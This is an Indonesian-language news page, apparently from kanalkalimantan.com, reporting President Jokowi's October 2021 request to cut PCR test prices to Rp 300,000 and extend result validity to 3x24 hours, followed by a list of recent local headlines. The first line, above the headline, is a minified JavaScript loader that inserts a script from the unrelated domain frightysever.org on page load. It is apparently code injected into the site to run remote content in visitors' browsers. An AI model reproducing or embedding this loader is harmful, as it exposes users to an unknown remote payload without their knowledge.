(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jokowi Minta Harga Tes PCR Turun Jadi Rp 300 Ribu, Berlaku 3×24 Jam


KANALKALIMANTAN.COM, JAKARTA– Menteri Koordinator Bidang Kemaritiman dan Investasi Luhut Binsar Pandjaitan mengatakan bahwa Presiden Joko Widodo atau Jokowi meminta agar harga tes PCR diturunkan.

“Mengenai arahan Presiden agar harga PCR diturunkan menjadi Rp 300 ribu,” kata Luhut dalam konferensi pers, Senin (25/10/2021).

Selain penurunan harga tes, Jokowi juga meminta agar masa berlaku hasil tes PCR diperpanjang menjadi 3 kali 24 jam. Luhut mengatakan pemerintah mendapat banyak masukan dan kritikan masyarakat ihwal kebijakan PCR untuk syarat perjalanan menggunakan pesawat.

“Perlu dipahami, kebijakan PCR diberlakukan karena kami melihat risiko penyebaran makin meningkat karena mobilitas penduduk yang meningkat pesat dalam beberapa minggu terakhir,” ujarnya.

 

Baca juga : Terpantau 260 Titik Api, BPBD Barsel Dirikan Pos Komando Cegah Karhutla

Menko Luhut mengatakan, kebijakan tes PCR ini berkaca pada pengalaman negara lain. Sebab, beberapa negara Eropa kini mengalami kenaikan kasus Covid-19 karena melakukan relaksasi aktivitas masyarakat, meskipun tingkat vaksinasinya lebih tinggi dari Indonesia.

Karena itu, Luhut memohon agar masyarakat dapat memahami dan tidak emosional atas kebijakan yang diputuskan pemerintah atas tes PCR. “Saya mohon jangan kita lihat enaknya. Enak ini kita rileks berlebihan nanti kalau sudah ramai jangan juga ribut,” ujar dia.

Sebelumnya, pemerintah mengeluarkan kebijakan baru khusus untuk perjalanan domestik dengan transportasi udara. Penumpang di wilayah intra-Jawa dan Bali serta daerah dengan PPKM level 3 dan 4 wajib mengantongi dokumen tes RT-PCR.

Aturan sebelumnya, penumpang dapat menunjukkan hasil tes rapid Antigen.
Kebijakan tersebut mendapat kritik dari masyarakat. Bahkan sejumlah orang menandatangani petisi di laman change.org untuk meminta pemerintah menghapus aturan wajib menunjukkan hasil tes PCR sebagai syarat perjalanan menggunakan pesawat. (Kanalkalimantan.com/suara)

Editor : cell


Desy Arfianty

Recent Posts

Kuasa Hukum Ungkap Kronologi Indikasi Rudapaksa hingga Terbunuhnya Juwita di Tangan Jumran

KANALKALIMANTAN.COM, BANJARBARU – Fakta terbaru terkait dugaan rudapaksa oleh tersangka Jumran, anggota TNI Angkatan Laut… Read More

1 jam ago

Aksi Solidaritas untuk Juwita Gaungkan Dukungan Keadilan bagi Korban Femisida

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah pihak menyuarakan dugaan tindak femisida dalam kasus pembunuhan wartawati media daring… Read More

1 jam ago

DPRD Banjarbaru Beri Atensi pada Proses Hukum yang Adil bagi Tersangka Jumran

KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyatakan komitmennya untuk mengawal proses… Read More

1 jam ago

Terobos Cuaca Ekstrem di Muara Teweh, PLN Gerak Cepat Pulihkan Gangguan Jaringan Transmisi saat Idulfitri

KANALKALIMANTAN.COM, MUARA TEWEH – Di kala perayaan sukacita Idulfitri masih berlangsung, para insan PLN Unit… Read More

8 jam ago

Aksi Solidaritas untuk Juwita, Kawal Pengadilan Terbuka Terhadap Tersangka J

KANALKALIMANTAN.COM, BANJARBARU - Kawanan Jurnalis di Banjarbaru bersama mahasiswa dan organisasi menggelar aksi solidaritas mengawal… Read More

22 jam ago

Selain Dibunuh, Juwita Diduga Dirudapaksa J

KANALKALIMANTAN.COM, BANJARBARU - Proses penyidikan kematian tak wajar wartawati media online di Banjarbaru, Juwita yang… Read More

22 jam ago